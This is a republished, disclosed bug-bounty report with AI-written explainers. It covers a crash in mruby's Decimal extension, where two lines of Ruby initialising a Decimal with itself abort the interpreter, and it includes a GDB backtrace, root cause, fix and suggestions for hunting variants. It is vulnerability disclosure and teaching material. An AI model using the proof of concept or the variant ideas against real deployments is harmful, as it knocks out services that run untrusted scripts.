Skip to content
DoS Disclosed report Beginner

Crash: Initialize Decimal with itself triggers an assertion

Initialising a Decimal object with itself creates a new empty internal decimal structure, then calls to_s on the original instance, which reads the empty structure and triggers an assertion, aborting the process. An attacker who can run Ruby code could crash the interpreter.

brakhane Follow

Originally disclosed on HackerOne

Bounty$10,000 High View original
  • Triaged in 30 hours
  • Fixed in 4 days
  • Paid in 19 days
  • Disclosed after 19 days

When Decimal is initialized with itself, a new (empty) mpd_t will be created. To fill it with a value, to_s of the current instance is called, which accesses the empty mpd_t. This triggers an assertion, which leads to a crash.

Patch

I've created and attached a simple patch which just returns self when a Decimal is initialized with itself. Pretty simple, but should do the job (careful: I've created the patch after a 20h flight, could be... uhm, suboptimal).

PoC

PoC does work on https://www.mruby.science/runs, but as it's not up2date that shouldn't really mean anything.

a = Decimal.new
a.initialize a

Trace

$ gdb attach 10251
GNU gdb (GDB) 7.12
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
attach: No such file or directory.
Attaching to process 10251
Reading symbols from /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/build/host/bin/mirb...done.
Reading symbols from /usr/lib/libm.so.6...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libreadline.so.7...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libncursesw.so.6...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done.
0x00007f8de487f131 in pselect () from /usr/lib/libc.so.6
(gdb) c
Continuing.

Program received signal SIGABRT, Aborted.
0x00007f8de47d104f in raise () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007f8de47d104f in raise () from /usr/lib/libc.so.6
#1  0x00007f8de47d247a in abort () from /usr/lib/libc.so.6
#2  0x00007f8de47c9ea7 in __assert_fail_base () from /usr/lib/libc.so.6
#3  0x00007f8de47c9f52 in __assert_fail () from /usr/lib/libc.so.6
#4  0x000000000045a356 in mpd_msword (dec=0xa75980) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/mpdecimal.c:218
#5  mpd_iszero (dec=dec@entry=0xa75980) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/mpdecimal.c:331
#6  0x0000000000472fc0 in mpd_qformat_spec (dec=dec@entry=0xa75980, spec=spec@entry=0x7ffc8fdcd220, ctx=ctx@entry=0x9f8580, 
    status=status@entry=0x7ffc8fdcd28c) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/io.c:1320
#7  0x00000000004738d5 in mpd_qformat (dec=0xa75980, fmt=fmt@entry=0x481177 "f", ctx=0x9f8580, status=status@entry=0x7ffc8fdcd28c)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/io.c:1390
#8  0x000000000045602a in ext_decimal_to_s (state=0x9b1010, rself=...)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/ext.c:220
#9  0x000000000040f6af in mrb_funcall_with_block (mrb=mrb@entry=0x9b1010, self=..., mid=<optimized out>, mid@entry=38, argc=<optimized out>, 
    argc@entry=0, argv=argv@entry=0x0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#10 0x000000000040fbcc in mrb_funcall_argv (mrb=mrb@entry=0x9b1010, self=..., self@entry=..., mid=mid@entry=38, argc=argc@entry=0, argv=argv@entry=0x0)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#11 0x0000000000403d23 in convert_type (raise=1 '\001', method=0x4810cd "to_s", tname=0x4813ea "String", val=..., mrb=0x9b1010)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/object.c:316
#12 mrb_convert_type (mrb=mrb@entry=0x9b1010, val=..., type=type@entry=MRB_TT_STRING, tname=tname@entry=0x4813ea "String", 
    method=method@entry=0x4810cd "to_s") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/object.c:338
#13 0x0000000000455927 in ext_decimal_initialize (state=0x9b1010, self=...)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/ext.c:86
#14 0x000000000041150f in mrb_vm_exec (mrb=mrb@entry=0x9b1010, proc=<optimized out>, proc@entry=0x9b9020, pc=<optimized out>)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1165
#15 0x0000000000416d57 in mrb_vm_run (mrb=mrb@entry=0x9b1010, proc=proc@entry=0x9b9020, self=..., stack_keep=stack_keep@entry=2)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:766
#16 0x00000000004028be in main (argc=<optimized out>, argv=<optimized out>)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549
(gdb) info registers
rax            0x0	0
rbx            0x6	6
rcx            0x7f8de47d104f	140247400517711
rdx            0x0	0
rsi            0x7ffc8fdccc30	140722722098224
rdi            0x2	2
rbp            0x4ac565	0x4ac565
rsp            0x7ffc8fdccca8	0x7ffc8fdccca8
r8             0x0	0
r9             0x7ffc8fdccc30	140722722098224
r10            0x8	8
r11            0x246	582
r12            0xda	218
r13            0x4acbb8	4901816
r14            0x0	0
r15            0x7ffc8fdcd220	140722722099744
rip            0x7f8de47d104f	0x7f8de47d104f <raise+207>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) 

The original report as published on HackerOne, by brakhane. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The affected component is the Decimal type provided by the mruby-mpdecimal extension inside an mruby engine. Decimal is a Ruby-level wrapper around the libmpdec arbitrary-precision decimal library (mpd_t). Normally you construct one with Decimal.new and then give it a value, for example by passing a string, which the extension converts and stores in the underlying mpd_t.

The bug is a crash: initialising a Decimal with itself leaves the object holding an empty mpd_t, and the next operation that reads it trips an assertion in libmpdec and aborts the process.

Setup

The trace shows GDB attached to a running mirb interpreter to capture the abort. The PoC was also run on the hosted playground at https://www.mruby.science/runs, which the researcher notes is not up to date, so that result should not be read as proof of anything about current deployments.

No accounts, roles or special configuration are described. The only precondition is the ability to execute Ruby code that can call Decimal.new and initialize.

Finding it

The observation is about object construction: when Decimal is initialised with itself, a new, empty mpd_t is created for the receiver. To fill it with a value, the extension calls to_s on the current instance. That call reaches into the empty mpd_t, and libmpdec asserts on the inconsistent state, aborting the interpreter.

What makes it interesting is that the trigger is not malformed input from outside. It is a self-referential initialisation, which is valid Ruby syntax and passes no unexpected types.

Exploitation

Step 1: trigger the self-initialisation

Text
a = Decimal.new
a.initialize a

The first line creates a Decimal with no value, so its internal mpd_t is empty. The second line calls initialize on that same object, passing the object itself as the argument. The extension allocates a fresh mpd_t for the receiver and then tries to obtain a value for it by calling to_s on the argument, which is the same object, still backed by the empty mpd_t.

Step 2: observe the abort

The researcher attached GDB to the interpreter process and continued execution until the signal arrived:

Text
$ gdb attach 10251

After continuing, the process received SIGABRT:

Text
Program received signal SIGABRT, Aborted.
0x00007f8de47d104f in raise () from /usr/lib/libc.so.6

Step 3: read the backtrace

The backtrace shows the path from the Ruby call down into libmpdec and the assertion:

Text
#0  0x00007f8de47d104f in raise () from /usr/lib/libc.so.6
#1  0x00007f8de47d247a in abort () from /usr/lib/libc.so.6
#2  0x00007f8de47c9ea7 in __assert_fail_base () from /usr/lib/libc.so.6
#3  0x00007f8de47c9f52 in __assert_fail () from /usr/lib/libc.so.6
#4  0x000000000045a356 in mpd_msword (dec=0xa75980) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/mpdecimal.c:218
#5  mpd_iszero (dec=dec@entry=0xa75980) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/mpdecimal.c:331
#6  0x0000000000472fc0 in mpd_qformat_spec (dec=dec@entry=0xa75980, spec=spec@entry=0x7ffc8fdcd220, ctx=ctx@entry=0x9f8580,
    status=status@entry=0x7ffc8fdcd28c) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/io.c:1320
#7  0x00000000004738d5 in mpd_qformat (dec=dec@entry=0xa75980, fmt=fmt@entry=0x481177 "f", ctx=0x9f8580, status=status@entry=0x7ffc8fdcd28c)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/io.c:1390
#8  0x000000000045602a in ext_decimal_to_s (state=0x9b1010, rself=...)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/ext.c:220
#9  0x000000000040f6af in mrb_funcall_with_block (mrb=mrb@entry=0x9b1010, self=..., mid=<optimized out>, mid@entry=38, argc=<optimized out>,
    argc@entry=0, argv=argv@entry=0x0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#10 0x000000000040fbcc in mrb_funcall_argv (mrb=mrb@entry=0x9b1010, self=..., self@entry=..., mid=mid@entry=38, argc=argc@entry=0, argv=argv@entry=0x0)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#11 0x0000000000403d23 in convert_type (raise=1 '\001', method=0x4810cd "to_s", tname=0x4813ea "String", val=..., mrb=0x9b1010)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/object.c:316
#12 mrb_convert_type (mrb=mrb@entry=0x9b1010, val=..., type=type@entry=MRB_TT_STRING, tname=tname@entry=0x4813ea "String",
    method=method@entry=0x4810cd "to_s") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/object.c:338
#13 0x0000000000455927 in ext_decimal_initialize (state=0x9b1010, self=...)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/ext.c:86
#14 0x000000000041150f in mrb_vm_exec (mrb=mrb@entry=0x9b1010, proc=<optimized out>, proc@entry=0x9b9020, pc=<optimized out>)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1165
#15 0x0000000000416d57 in mrb_vm_run (mrb=mrb@entry=0x9b1010, proc=proc@entry=0x9b9020, self=..., stack_keep=stack_keep@entry=2)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:766
#16 0x00000000004028be in main (argc=<optimized out>, argv=<optimized out>)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549

Read from the bottom up, the chain is:

  1. ext_decimal_initialize (ext.c:86) is the entry point, called from the VM.
  2. It calls mrb_convert_type / convert_type (object.c:338 and object.c:316) to coerce the argument to a String, which invokes to_s on the argument.
  3. ext_decimal_to_s (ext.c:220) formats the decimal via mpd_qformat (io.c:1390) with format "f".
  4. mpd_qformat_spec (io.c:1320) calls mpd_iszero (mpdecimal.c:331), which calls mpd_msword (mpdecimal.c:218), where the assertion fails.

The register dump confirms the abort path through raise:

Text
(gdb) info registers
rax            0x0	0
rbx            0x6	6
rcx            0x7f8de47d104f	140247400517711
rdx            0x0	0
rsi            0x7ffc8fdccc30	140722722098224
rdi            0x2	2
rbp            0x4ac565	0x4ac565
rsp            0x7ffc8fdccca8	0x7ffc8fdccca8
r8             0x0	0
r9             0x7ffc8fdccc30	140722722098224
r10            0x8	8
r11            0x246	582
r12            0xda	218
r13            0x4acbb8	4901816
r14            0x0	0
r15            0x7ffc8fdcd220	140722722099744
rip            0x7f8de47d104f	0x7f8de47d104f <raise+207>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

Root cause

ext_decimal_initialize does not check whether the argument is the receiver itself. It allocates a new mpd_t for the receiver and then converts the argument to a string to populate it. When the argument is the same object, the conversion calls to_s on an object whose mpd_t has just been replaced with an empty one. libmpdec's formatting code assumes a valid, initialised decimal and asserts on the inconsistent state, which aborts the process rather than raising a Ruby exception.

The missing guard is the whole story: a self-assignment check would have avoided the re-entrant read of the empty structure. The report does not describe any other defence that was in place.

Impact

The immediate effect is a denial of service: a single short Ruby snippet aborts the interpreter process. The report does not describe which production systems run this engine or how the code would reach them, so the practical reach beyond the interpreter crash is not established here. The playground result is explicitly hedged by the researcher because that instance is not up to date.

Fix

The researcher wrote and attached a patch that returns self when a Decimal is initialised with itself. The patch is described as simple and expected to do the job, with the caveat that it was written after a 20 hour flight and might be suboptimal. The report does not include the patch text, so the exact diff is not reproduced here.

Variants to test

  1. Other self-referential initialisers on wrapped native types: call initialize on an object passing itself, and watch for aborts rather than Ruby exceptions. A positive result is a SIGABRT with an assertion in the native library's backtrace.
  2. Other conversion paths into the same type: pass the object to methods that coerce arguments to String or to the decimal type, and check whether any of them read the empty mpd_t before it is populated.
  3. Re-initialisation after a failed construction: create the object, force an error during initialisation, then initialise again with a valid value, and check whether the structure is left in a state that later operations assert on.

Hunting notes

This kind of bug hides at the boundary between a managed runtime and a native library, in the constructor and coercion code of extension types. During recon, look for Ruby (or similar) bindings that wrap C libraries with their own invariants, especially where the binding allocates a native structure and then fills it by calling back into Ruby methods such as to_s. The signal is a native assertion or abort in a backtrace instead of a normal exception.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

The affected engine lets people execute small programs written in a language called Ruby. One of the things those programs can do is work with decimal numbers (numbers with a fractional part, like 3.14) using a special type called Decimal. That type is not written in Ruby itself: it is a thin Ruby wrapper around a lower-level C library called libmpdec, which does the actual number crunching.

The researcher found that if you create a Decimal and then ask it to initialise itself using itself as the value, the program crashes. Not a polite error message, but a hard abort of the whole interpreter process. The cause is that the object ends up holding an empty internal number structure, and the next piece of code that tries to read it hits a safety check inside the C library that fails, which kills the process.

Background: the pieces involved

Before the steps make sense, here is what each part is.

  • Ruby is a programming language. Programs written in it are run by a program called an interpreter, which reads the code and executes it.
  • mruby is a small, embeddable version of Ruby. The engine embeds mruby.
  • Decimal is a type available to those scripts. It represents a decimal number with arbitrary precision, meaning it can hold as many digits as memory allows rather than being limited to the fixed size of a normal computer number.
  • libmpdec is the C library that actually stores and calculates those numbers. Inside it, a decimal value lives in a structure called mpd_t.
  • mruby-mpdecimal is the extension that glues the Ruby-level Decimal to libmpdec. When you create a Decimal, this extension allocates an mpd_t and fills it in.
  • An assertion is a check a program makes about its own assumptions, for example "this structure must be properly filled in before I read it". If the check fails, the program stops immediately. In C this usually means the process aborts, which is a crash, not a catchable error.
  • GDB is a debugger: a tool that lets you pause a running program, look at what it is doing, and print a list of the function calls that led to the current point. That list is called a backtrace.
  • SIGABRT is the signal the operating system sends to a process when it aborts itself. Seeing it means the program chose to die because something was inconsistent.

The normal way to use Decimal is to create one with Decimal.new and then give it a value, for example by passing a string. The extension converts that string and stores the result in the underlying mpd_t.

The setup

The trace shows GDB attached to a running mirb, the interactive Ruby shell that ships with mruby. They attached GDB to the running interpreter so they could capture exactly what happened at the moment of the crash.

The same proof of concept was also run on the hosted playground at https://www.mruby.science/runs. The researcher notes that this playground is not up to date, so a result there should not be read as proof of anything about current deployments.

No accounts, roles or special configuration are involved. The only precondition is being able to run Ruby code that can call Decimal.new and initialize.

Finding it

The observation is about how the object is constructed. When a Decimal is initialised with itself, a new, empty mpd_t is created for the object being initialised. To fill it with a value, the extension calls to_s on the current instance. to_s is the Ruby method that turns an object into a string. That call reaches into the empty mpd_t, and libmpdec asserts on the inconsistent state, aborting the interpreter.

What makes it interesting is that the trigger is not malformed input from outside. It is a self-referential initialisation: valid Ruby syntax, passing no unexpected types, just an object handed to itself.

Reproducing the crash

Step 1: trigger the self-initialisation

Text
a = Decimal.new
a.initialize a

Line by line:

  1. a = Decimal.new creates a new Decimal with no value and stores it in the variable a. Because no value was given, its internal mpd_t is empty.
  2. a.initialize a calls the initialize method on that same object, passing the object itself as the argument. initialize is the method Ruby runs to set up an object's contents. The extension allocates a fresh mpd_t for the receiver and then tries to obtain a value for it by calling to_s on the argument. The argument is the same object, still backed by the empty mpd_t.

This step is the whole exploit: two lines, no special input, just an object being asked to initialise itself from itself.

Step 2: observe the abort

The researcher attached GDB to the interpreter process and let it continue until the signal arrived:

Text
$ gdb attach 10251

gdb attach 10251 tells the debugger to attach to the already-running process with process ID 10251, which is the interpreter. Attaching lets you watch a program that is already running, rather than starting it under the debugger from the beginning.

After continuing, the process received SIGABRT:

Text
Program received signal SIGABRT, Aborted.
0x00007f8de47d104f in raise () from /usr/lib/libc.so.6

This says the process was stopped because it aborted itself, and the instruction it was executing at that moment was inside raise, the C library function that delivers the abort. In other words, the program did not stumble into bad memory by accident; it deliberately gave up.

Step 3: read the backtrace

The backtrace shows the path from the Ruby call down into libmpdec and the assertion:

Text
#0  0x00007f8de47d104f in raise () from /usr/lib/libc.so.6
#1  0x00007f8de47d247a in abort () from /usr/lib/libc.so.6
#2  0x00007f8de47c9ea7 in __assert_fail_base () from /usr/lib/libc.so.6
#3  0x00007f8de47c9f52 in __assert_fail () from /usr/lib/libc.so.6
#4  0x000000000045a356 in mpd_msword (dec=0xa75980) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/mpdecimal.c:218
#5  mpd_iszero (dec=dec@entry=0xa75980) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/mpdecimal.c:331
#6  0x0000000000472fc0 in mpd_qformat_spec (dec=dec@entry=0xa75980, spec=spec@entry=0x7ffc8fdcd220, ctx=ctx@entry=0x9f8580,
    status=status@entry=0x7ffc8fdcd28c) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/io.c:1320
#7  0x00000000004738d5 in mpd_qformat (dec=dec@entry=0xa75980, fmt=fmt@entry=0x481177 "f", ctx=0x9f8580, status=status@entry=0x7ffc8fdcd28c)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/io.c:1390
#8  0x000000000045602a in ext_decimal_to_s (state=0x9b1010, rself=...)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/ext.c:220
#9  0x000000000040f6af in mrb_funcall_with_block (mrb=mrb@entry=0x9b1010, self=..., mid=<optimized out>, mid@entry=38, argc=<optimized out>,
    argc@entry=0, argv=argv@entry=0x0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#10 0x000000000040fbcc in mrb_funcall_argv (mrb=mrb@entry=0x9b1010, self=..., self@entry=..., mid=mid@entry=38, argc=argc@entry=0, argv=argv@entry=0x0)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#11 0x0000000000403d23 in convert_type (raise=1 '\001', method=0x4810cd "to_s", tname=0x4813ea "String", val=..., mrb=0x9b1010)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/object.c:316
#12 mrb_convert_type (mrb=mrb@entry=0x9b1010, val=..., type=type@entry=MRB_TT_STRING, tname=tname@entry=0x4813ea "String",
    method=method@entry=0x4810cd "to_s") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/object.c:338
#13 0x0000000000455927 in ext_decimal_initialize (state=0x9b1010, self=...)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby-mpdecimal/src/ext.c:86
#14 0x000000000041150f in mrb_vm_exec (mrb=mrb@entry=0x9b1010, proc=<optimized out>, proc@entry=0x9b9020, pc=<optimized out>)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1165
#15 0x0000000000416d57 in mrb_vm_run (mrb=mrb@entry=0x9b1010, proc=proc@entry=0x9b9020, self=..., stack_keep=stack_keep@entry=2)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:766
#16 0x00000000004028be in main (argc=<optimized out>, argv=<optimized out>)
    at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549

A backtrace is read from the bottom up, because the bottom is where the program started and each line above it is a function that the line below called. The numbers are frame numbers, with #0 being the innermost point where the program stopped. Each line gives the function name, its arguments, and the source file and line number it is executing.

Read from the bottom up, the chain is:

  1. ext_decimal_initialize (ext.c:86) is the entry point, called from the VM. This is the extension's implementation of initialize for Decimal, the method the second line of the PoC invokes.
  2. It calls mrb_convert_type / convert_type (object.c:338 and object.c:316) to coerce the argument to a String, which invokes to_s on the argument. Coercing means converting a value from one type to another; here the extension wants a string so it can parse a number out of it.
  3. ext_decimal_to_s (ext.c:220) formats the decimal via mpd_qformat (io.c:1390) with format "f". The "f" format means fixed-point notation, the ordinary way of writing a number with a decimal point.
  4. mpd_qformat_spec (io.c:1320) calls mpd_iszero (mpdecimal.c:331), which asks whether the number is zero, and that calls mpd_msword (mpdecimal.c:218), where the assertion fails. mpd_msword looks at the most significant word of the number, and it cannot do that on a structure that was never filled in.

The register dump confirms the abort path through raise:

Text
(gdb) info registers
rax            0x0	0
rbx            0x6	6
rcx            0x7f8de47d104f	140247400517711
rdx            0x0	0
rsi            0x7ffc8fdccc30	140722722098224
rdi            0x2	2
rbp            0x4ac565	0x4ac565
rsp            0x7ffc8fdccca8	0x7ffc8fdccca8
r8             0x0	0
r9             0x7ffc8fdccc30	140722722098224
r10            0x8	8
r11            0x246	582
r12            0xda	218
r13            0x4acbb8	4901816
r14            0x0	0
r15            0x7ffc8fdcd220	140722722099744
rip            0x7f8de47d104f	0x7f8de47d104f <raise+207>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

info registers asks the debugger to print the contents of the processor's registers, the small, very fast storage slots inside the CPU. The line that matters is rip, the instruction pointer, which says which instruction the CPU was about to execute. It points at raise+207, meaning execution was inside the raise function, which matches the abort seen in the backtrace.

Root cause

ext_decimal_initialize does not check whether the argument is the receiver itself. It allocates a new mpd_t for the receiver and then converts the argument to a string to populate it. When the argument is the same object, the conversion calls to_s on an object whose mpd_t has just been replaced with an empty one. libmpdec's formatting code assumes a valid, initialised decimal and asserts on the inconsistent state, which aborts the process rather than raising a Ruby exception.

The missing guard is the whole story: a check for self-assignment would have avoided the re-entrant read of the empty structure. A re-entrant call is one that comes back into the same object while it is still in the middle of being set up. The report does not describe any other defence that was in place.

Impact

The immediate effect is a denial of service: a single short Ruby snippet aborts the interpreter process. Denial of service means making a service unavailable to its users, here by killing the process that runs their code. The researcher rated the issue high severity, and the program paid a 10,000 USD bounty. The report does not describe which production systems run this engine or how the code would reach them, so the practical reach beyond the interpreter crash is not established here. The playground result is explicitly hedged by the researcher because that instance is not up to date.

Fix

The researcher wrote and attached a patch that returns self when a Decimal is initialised with itself. Returning self means the method simply hands back the object unchanged instead of trying to rebuild it from itself. The patch is described as simple and expected to do the job, with the caveat that it was written after a 20 hour flight and might be suboptimal. The report does not include the patch text, so the exact diff is not reproduced here.

Variants to test

  1. Other self-referential initialisers on wrapped native types: call initialize on an object passing itself, and watch for aborts rather than Ruby exceptions. A positive result is a SIGABRT with an assertion in the native library's backtrace.
  2. Other conversion paths into the same type: pass the object to methods that coerce arguments to String or to the decimal type, and check whether any of them read the empty mpd_t before it is populated.
  3. Re-initialisation after a failed construction: create the object, force an error during initialisation, then initialise again with a valid value, and check whether the structure is left in a state that later operations assert on.

Hunting notes

This kind of bug hides at the boundary between a managed runtime and a native library, in the constructor and coercion code of extension types. During recon, look for Ruby (or similar) bindings that wrap C libraries with their own invariants, especially where the binding allocates a native structure and then fills it by calling back into Ruby methods such as to_s. The signal is a native assertion or abort in a backtrace instead of a normal exception.

Glossary

  • Ruby: a programming language whose programs are run by an interpreter.
  • Interpreter: a program that reads source code and executes it directly, rather than compiling it to a separate executable first.
  • mruby: a small, embeddable implementation of Ruby, used inside larger applications.
  • Decimal: the Ruby-level type in this engine for arbitrary-precision decimal numbers.
  • Arbitrary precision: storing numbers with as many digits as needed rather than a fixed size.
  • libmpdec: the C library that stores and calculates the decimal numbers underneath Decimal.
  • mpd_t: the C structure inside libmpdec that holds one decimal value.
  • mruby-mpdecimal: the extension that connects Ruby's Decimal to libmpdec.
  • Extension: code that adds a feature to a language by bridging it to a library written in another language, usually C.
  • initialize: the Ruby method that sets up an object's contents when it is created or re-initialised.
  • to_s: the Ruby method that converts an object into a string.
  • Coercion: automatically converting a value from one type to another, for example an object to a string.
  • Assertion: a check a program makes about its own assumptions; if it fails, the program stops immediately.
  • Abort: the process terminating itself because of an unrecoverable inconsistency.
  • SIGABRT: the operating system signal delivered to a process that aborts itself.
  • GDB: the GNU debugger, a tool for pausing and inspecting a running program.
  • Backtrace: the list of function calls that led to the current point in a program, read from the innermost call outwards.
  • Frame: one entry in a backtrace, representing one function call.
  • Register: a small, fast storage slot inside the CPU; rip is the instruction pointer register.
  • mirb: the interactive Ruby shell that ships with mruby.
  • Proof of concept (PoC): a minimal piece of code that demonstrates a bug.
  • Denial of service: making a service unavailable to its users, here by crashing the process that runs their code.
  • Re-entrant call: a call back into an object while that same object is still in the middle of being set up or modified.
  • Patch: a proposed code change that fixes a bug.
  • Diff: the textual representation of the changes in a patch.
  • Severity: a rating of how serious a bug is.
  • Bounty: a payment made by a program to a researcher for a valid report.
  • Recon: the exploratory phase of looking for targets and weaknesses before testing.

More by brakhane

View all

12 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.